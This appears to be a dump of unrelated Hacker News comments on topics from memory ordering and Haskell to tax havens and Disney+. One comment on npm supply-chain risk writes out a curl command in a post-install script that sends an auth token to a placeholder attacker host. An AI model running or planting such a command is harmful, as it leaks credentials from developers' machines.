skysight-inc/HackerNews huggingface dataset:
According to a reddit post it's actually that the Roku understands perfectly but the packet happens to exactly match the request for a reboot that Roku uses for managing P2P updates:

https://www.reddit.com/r/ProgrammerHumor/comments/dy0p86/how...
Gnosis Retreat Center
Can someone point me to a glossary for the jargon "acquire, release, plain" access semantics?

[edit]

It does seem to be a general term, but given that TFA is about a Java program, see http://gee.cs.oswego.edu/dl/html/j9mm.html
Perhaps the answer is simply that you have disabled user-tracking (either explicitly in Google's settings or by disabling cookies), so Google doesn't know how to serve you best, and you end up with the best possible answer for the "average" person.
Paul Krugman Reviews ‘The Rise and Fall of American Growth’
Fair enough there are some combinations of compiler extensions that don't interact well and I've written enough type level code to know which ones to stay away from.

The C++ move semantics are standard though and have lots of unintended consequences to make easy-to-describe constructors incredibly difficult to implement in practice.

My point was that saying Haskell is extremely complex is not technically correct. It's a qualitative statement and disingenuous. Complex relative to what? The stack the OP is presenting is relatively simple in the Haskell space. It's not inherently complex by virtue of being written in Haskell.
That depends a bit on whether you count the fabrication time for a new ASIC towards the application startup time when switching applications or not.
Yes, and probably more usable than vi (not talking about vim) and its features are more than enough to edit configuration files.

It has copy paste of a line or an arbitrary chunk of text (I learned that last week! But I often use the copy paste functionality of the terminal emulator anyway), syntax highlighting, undo redo, line numbers, search and replace. Access to these features is efficient.

It's also fast and lightweight. All the characteristics of a good default terminal text editor. Free us from vi! :-)
Examine.com is one, here's the prior HN thread. Had it not been for that HN thread I would never have known that site even existed, despite having frequently searched for queries where it would have been extremely relevant: https://news.ycombinator.com/item?id=20676755
I suspect that without a well-sealed oven, you just get toxic air and soil if you burn it.
Try the C5-plus-another-thing exercise.
I suppose the first question is which type of programming are they interested in? Web pages? Embedded - where you build something with Raspberry PI? etc etc

Is this just to remove boredom in old age, or starting a new career? For pure programming I recommend whichever language they can get a obtain that has a GREAT debugger. If not then you, as their friend get to help them debug.
I don't even believe the argument of open offices being more space efficient is true.

I work in a co-working space with an open office section (fortunately there is a written rule that you must be silent), and surrounded by offices that sit 3 - 6 people. The offices have the same density as the open section - they are just separated by glass walls and a door.
Look at the name of the subreddit.
I don’t mean this judgmentally, but how much water do you use? The bulk of residential water use tends to be for landscaping, in particular watering lawns. When my city raised rates for excess water usage, all of the homeowners complained, even though they require vastly more water infrastructure and end up using a lot more water for their lawns.
Looks like sculpture and theater both use the phrase in similar ways.
First, that was a nice article.

Second, I agree with you that Haskell does not have to be too complicated. I only ever use a few language extensions, I use a subset of the language, and try to do repl oriented development.

The downside of my simple approach is that reading other people’s code takes real effort because I am likely to not understand many of the idioms and techniques that other people use.

Programming should be fun and productive, and it is up to everyone to figure out what works for them.
This open source air quality citizen *science project now also has noise sensors going: https://luftdaten.info/laermsensor-bauen/
Foetus 18 Weeks: Lennart Nilsson's prenatal photography
Could possibly also be a play on words...
Disney apparently wasn't hacked, but the users were. Password guessed/stolen = account hacked in common parlance.
Flutter: Forbes Had It Right
> Rule of law didn't stop the invasion of Iraq. Rule of law hasn't stopped the countless CIA backed coups in South America. Rule of law didn't stop funding/promoting the Arab spring.

These places were all considered "rogue states" at some point, i.e. places that openly neglected the very same rule of law which protects others. Being a 'rogue' state may leave you open to being bullied, but that's hardly inconsistent with rule of law being very important.
So, you think being in the room with the "demon core" was dangerous even when it wasn't being used? The radiation from it in a non-critical state would have been very small. If he had been there during a criticality accident it would have been recorded.

I think you're just waving your hands here because you have no evidence to support the claim.
What about going into a reboot loop if you see a signed request to reboot? [0] It's unverified but this story makes sense in a cosmic coincidence sort of way.

[0] https://www.reddit.com/r/ProgrammerHumor/comments/dy0p86/how...
The Cayman Islands is a vassal state of the global one percent as a tax shelter. Let's call it what it really is. It's not a global financial center the way NYC or Hong Kong or Tokyo are.

It's a sand bar with a bunch of post office box company registries and some banks. I hear there is also good snorkeling.
Anybody could make any language in any app deployed to anything as simple as `sh scripts/build.sh && teraform apply` in my eyes.
Issue description editing in a modal is quite awkward compared to the inline behaviour on web. It also doesn't seem to be possible to open links from the app

https://www.dropbox.com/s/5ompedthi6xl2hn/issue%20overview%2...
1) Install node js
2) npm install express
4) Define handler

Seems simple enough ?
I have a set of noise cancelling Sony MDR-1000X (previous generation) and just having the headphones switched on without music playing, they don't do much to block voice. However if I play music quietly I can't hear anything, even if someone is talking right next to me (or at me).
Demand for HDD Storage Booming: 240 EB Shipped in Q3 2019
I didn't, but it was eventually reported as compromised anyway, so the credit card company issued me a new number.
I double-checked myself every time I came back. And now, this is on the "Office noise" article. I don't have screenshots, so I have no idea what happened.
"the company I founded and currently manage is offshored for tax and legal purposes"

Simply curious, how do you feel about the ethics of this? Is it to reduce the tax burden in your company's home country?
Yeah but it only takes accidentally merging in something malicious once to have it running in the main repository now
Goroutines and APIs
Unless you are on a beach with a bunch of your friends, walking around a busy city with one of these just illustrates how self-centered that person is that they think their music is the best music and everybody should listen to it. In reality most don't even care, and at worse you are just making a bunch of needless noise. It's just a failure of thinking about other people and thinking that maybe your taste is not everyone else's taste.
This reminds me of the General Magic / Kaleida / Taligent /Pink stuff being sorta/kinda done by Apple in the late 80s (early 90s? Both?).

There were agents and software ICs and messaging in the air! (I don't know why, because interconnect in-system and out-system all more-or-less sucked).

Like Xanadu, this was all kind of "ahead of its time" stuff, and I've never understood why it wasn't resurrected in simpler form since (yet).

What are you trying to ultimately accomplish here? It all appears quite elegant, but I'm not sure I can infer the end-game of the project or enterprise.

EDIT: Forgive me. I'm running on time-lagged batteries, and I suspect that you suggest more than I am picking up on...
It's not their job to secure your card outside of their own system. Assuming these cards aren't stolen from within Amazon's own servers, it's up to you and your credit card to protect it from unauthorized use.
Who reaps the benefits of government investment into public infrastructure and the common good that these taxes make possible? We do.

In fact, since there are many consumers of US products (and shareholders in US companies) who are not resident or citizens of the US then it seems we win more if we raise those corporate taxes. If the shareholder's don't like this deal I suggest they sell.
> I thought it was more like the "Ship of Theseus"

Start on a clean system. Put all of the correctly licensed source code there. Do not include any GPL/LGPL code

Now run make.

Nothing GPL or LGPL licensed touched your build or source code.
This was almost exactly the opinion given to me by a watchmaker about 10-11 years ago. He said that if you wanted one of the best, daily-wearable mechanical watches that wasn't going to be so expensive that you'd be afraid to wear it everywhere, pick up a Seiko 5.

Which I did. I've worn it every day for the last 9 years, and I love it.
Does it have no tax benefit assuming constant profits, or no tax benefit no matter what? Can you extract a net benefit by just accelerating some depreciation whenever you have a particularly profitable year?
Tell that to Debian/Ubuntu as well: default user shell is Bash, default /bin/sh is dash.

If you need more-than-POSIX in your scripts, then use the proper shebang.
Get UP and running in no time, start up your machine with one command
> Not sure how one would even measure the "intelligent behavior" that you mention.

I meant behaviour in the general psychological / cognitive sense; how an actor responds to stimuli.

Current popular IQ tests are designed to test many facets of intelligent behaviour -- verbal comprehension, arithmetic, working memory, symbol searching, etc. Abstract problem solving is only one category of testing.

I'm arguing that to study short-term cognitive deficits, it makes more sense to use other measures of cognition. It appears this is actually what was done, but this was incorrectly re-reported as "IQ".
I have not yet read the article, but those terms usually refer to C11 memory ordering semantics. The Rust docs on atomic orderings are pretty readable. https://doc.rust-lang.org/std/sync/atomic/enum.Ordering.html
this doesn't pass the smell test for me. first, we're talking about powerful vs. not so let's not use area as a proxy for power; that's not appropriate.

given that, history is rife with examples of powerful nations basically looking the other way when other countries not in their playpen get "bullied". these large international bodies e.g. League of Nations, UN have all failed generally when powerful entities decide they want to shake things up. individuals countries, obligated by treaty, also failed when e.g. Germany decided it wanted to chow down on "certain" parts of Europe. consider pre-WW2, Israel, what the US has done post-WW2, China/Xinjiang, etc. etc.
> (neo)vim + Unix tools make the best IDE in existence. Nothing else to date can hold a candle to that combination (except, perhaps, Plan 9 or Inferno OS).

Don't forget about the Dvorak keyboard. It doesn't work without Dvorak.
Would be great if 'Copy Link' to issue was available on the desktop app as well

https://www.dropbox.com/s/ri3ikr0hqrk0mfs/Screenshot%202019-...
Their legislative branch is extremely competent at evaluating and passing competitive laws for business and banking, their executive branch is extremely competent at providing the administrative services and modern digital facilities for international business and banking, and their judicial branch is extremely competent at resolving disputes.

The government's budget is also balanced without passive taxation of this sector.

Most jurisdictions, whether they are other island nations or a state in the US are not competent in any of these regards and this has utility on this planet.

It would be an understatement for me to just point out how much I don't care how uncompetitive other nations are in this regard, and I also don't care about the challenges for them to become competitive.
Using JVN who was one of the most distant outliers of human cognitive performance ever seen as an example is not helpful.
I guess similar reason Restaurants' customers are referred to as guests.
You'll probably never be allowed to sign up for D+ again. I'd only use charge backs as a final resort if I can't contact the company and/or I never want to do business with them in my life.
as much as i appreciate their reporting, i won't (re-)subscribe to nytimes because of this dark pattern. let me cancel the same easy way i subscribed, online, or i won't ever subscribe again.
>They are in the eyeball selling industry

That sounds like what TV, radio and newspaper ad space sells.

Google on the other hand is selling the data attached to those eye balls. You want Male eye balls, between the age of 18-35? You want eye balls from a certain state? city? county? How about college educated eye balls?

Knowing everything about your eye balls and monetizing that information is Google's real racket...that and fraudulent clicks (that is Google often sells fake eye balls).
Subscription services build revenue for companies but sapping customers’ wallets
Here's a map of PM2.5 levels in San Francisco for those interested: https://hoodline.com/2015/04/should-you-be-worried-about-air...
Are GHAs like FaaS for Git?
Thank you for pointing out the details.

It’s quite clear that some people’s model of taxes comes from doing Turbo Tax, year after year. Even Bernie Sanders does his own taxes. A man that wants to set the tax agenda on multinational corporations.

Just because a company pays zero taxes doesn’t mean that there was any thing fraudulent going on. If there’s zero taxes there’s probably incentives, depreciating assets as you described, losses carried forward, the corporate tax cut, employee stock compensation.
There is a test called the GRE (Graduate Records Exam). Many but not all require it. If you can score well on that you might have a good argument for skipping an under graduate degree.
That still does not excuse resubmission, even if they get upvoted, that's simply abuse and smacks of entitlement.
Particularly when most users will log in once on their Apple TV or whatever, and never think about it again— almost makes you wonder why they'd bother with passwords at all vs just doing an email-confirmation every time.
Yes, it's called ProgrammerHumor. No, that doesn't automatically mean someone's posting something sarcastic/bullshit.

I'd find a collision of such low probability very humorous if it actually happened.
As a Vim user, this is a good idea.
> tax and legal purposes

This may be terribly naive, but doesn't that make the business de-facto illegal? What kind of legitimate business deserves to buck paying into the systems that support them? As a default I want to disagree, but I would like to know what business needs to operate outside of these constraints.

Surely the businesses utilizing the favours of banks like Cayman are not being operated within tyrannical countries (which is the first and only reasoning I can see for operating in the manor you prescribed).

The very fact that they operate this way seems shady to me.
I think attacker could still do this in a post install script:

curl -d secret=$NODE_AUTH https://attackershost.example/capture_secret
>The most sensitive thing there is probably your viewing history and contact info.

For the end user, that might be true. But for the provider, bandwidth isn't free. So if people are streaming content on shared credentials, they still have to pay for that outbound traffic. So each shared subscription starts to cost the providing service money.
I agree that software development has become (often) pointlessly over complicated in the past few years.

For my personal projects I usually develop in Yii2, vanilla JS, SCSS, on MAMP. Source lives in Git, deploy via FTP. I track my progress on a simple kanban. I can push out really complex web applications in days.

At work, currently we use headless Drupal 8 as an API layer, React/Angular frontend, automated deployments via Jenkins (that takes over 30 minutes), silly microservices, an over complicated Git strategy, with over complicated Jira/Confluence steps, security scans, pen testing. It takes months to release anything.

They're two different approaches, one is quick and "dirty", the other is "enterprise", but the end result is the same: a website.

The biggest difference is the amount of time and the cost.
This is a pretty fundamental idea in traditional Japanese design of ... everything. Dance, calligraphy, martial arts, learning, home decorating, plates of food, pregnant pauses in poetry or drama, sometimes even in manufacturing processes.

And yet they still hound you with those 2am meetings (from wherever I am) with corporate and (still) faxed documents back and forth. Those folks still love their hand-written faxes. (I love so much about working with them, my friends, that I guess I can accommodate this quirk).
https://www.kernel.org/doc/Documentation/memory-barriers.txt has a pretty concise explanation of acquire/release. Basically

core1 core2
--------- ---------
acquire x
write x
release x
acquire x
read x
release x

guarantees that core2 will read core1's value for x, yet is less expensive than fully flushing both caches. Without the memory barriers, the write could be moved down the timeline (queued for writeback) and the read moved up (served from cache) so that core2 doesn't see what core1 wanted to write.
Show HN: Real-Time dashboard of U.S. presidential candidates' email strategy
> quite frankly draconian rules that usually places them on US/EU/OECD blacklists

Assuming ethics is not a concern
A recent piece in The Guardian argues that South Dakota and other US states are actually becoming the go-to place to store anonymously your illicit cash and make sure that your heirs can inherit it without taxes forever: https://www.theguardian.com/world/2019/nov/14/the-great-amer...

Partly because the US has compelled other countries to provide more transparency without joining that transparency organization itself.

"Congress responded with the Financial Assets Tax Compliance Act (Fatca), forcing foreign financial institutions to tell the US government about any American-owned assets on their books. Department of Justice investigations were savage: UBS paid a $780m fine, and its rival Credit Suisse paid $2.6bn, while Wegelin, Switzerland’s oldest bank, collapsed altogether under the strain. The amount of US-owned money in the country plunged, with Credit Suisse losing 85% of its American customers.

The rest of the world, inspired by this example, created a global agreement called the Common Reporting Standard (CRS). Under CRS, countries agreed to exchange information on the assets of each other’s citizens kept in each other’s banks. The tax-evading appeal of places like Jersey, the Bahamas and Liechtenstein evaporated almost immediately, since you could no longer hide your wealth there.

How was a rich person to protect his wealth from the government in this scary new transparent world? Fortunately, there was a loophole. CRS had been created by lots of countries together, and they all committed to telling each other their financial secrets. But the US was not part of CRS, and its own system – Fatca – only gathers information from foreign countries; it does not send information back to them. This loophole was unintentional, but vast: keep your money in Switzerland, and the world knows about it; put it in the US and, if you were clever about it, no one need ever find out. The US was on its way to becoming a truly world-class tax haven."
The effect of air pollution on investor behavior [pdf]
Check out your Recently Viewed/Watched category. If things you haven't watched yourself start to appear there, then chances are...
Credit chargebacks are a really great way to end up being banned from a lot of companies' businesses going forwards. It's a last resort, not a "I'm too lazy to ask for a refund" strategy.

It sounds like Disney+ was accepting refunds for preorders up until the launch day. Whether or not they can refund after presumably may depend on whether or not they can tell you've watched some of the content.
> So, are you trying to go from audio file to sheet music or something?

From audio file to midi file.

> That'll be a bit of a pain I'd imagine if you aren't separating out subtracks by instrument.

You're on to something there :) For now I've decided to stay single instrument until I can do that with high enough fidelity to be happy about it. The other day someone posted a link here about a neural net that separates out the various instrument tracks, that would be a very nice complement.

> Besides which, wouldn't a time sliced Fourier transform give you the characteristic frequencies of the piece?

If only it were that simple. Fourier transforms are very useful tools but their output is very far removed from something that can be played again.
I regret to inform you that you are not understanding this point regarding the daemon correctly. The containerd process is a replacement for the dockerd. It's just a new daemon I apologize I didn't address this clearly in the blog - I was a bit flippant in using dockerd only when I should have mentioned containerd.

I agree that when you're working within the Docker Swarm type community there was probably little incentive to to anything based on RHs blog post.

I'm very sorry to hear that Dan Walsh was the butt of many jokes at Docker. Dan Walsh did so much for the Docker community at the start - SELinux work being just one area of his many important contributions to making Docker successful.

We removed it because we have decided to support one OCI based container toolset in RHEL. Just like we switched from our home grown open source cartridge approach and dropped it to Dockers homegrown based approach in RHEL and OpenShift we had to do the same. We did this with our Gear versus Kubernetes versus Swarm versus Mesos approach. All of these are really good technologies. I myself advocated some support for Mesos at one time. It was about engineering and support focus. It wasn't about killing innovation. It's about focus. This is certainly my personal opinion of our business decision but it is shared by others I work with.
Sadly, as Kahneman now admits, many of the studies behind behavioral economics just haven't replicated.

Along with Loss Aversion, the whole idea of Priming also seems null.
Australia based community-focused platform SaaS to deal with sports teams, communities and societies. Looking for a co-founder in business/marketing or PHP/Vue development - Email hn@platformapp.io for more info.
Worldwide survey of PhD students reveals bullying, discrimination and anxiety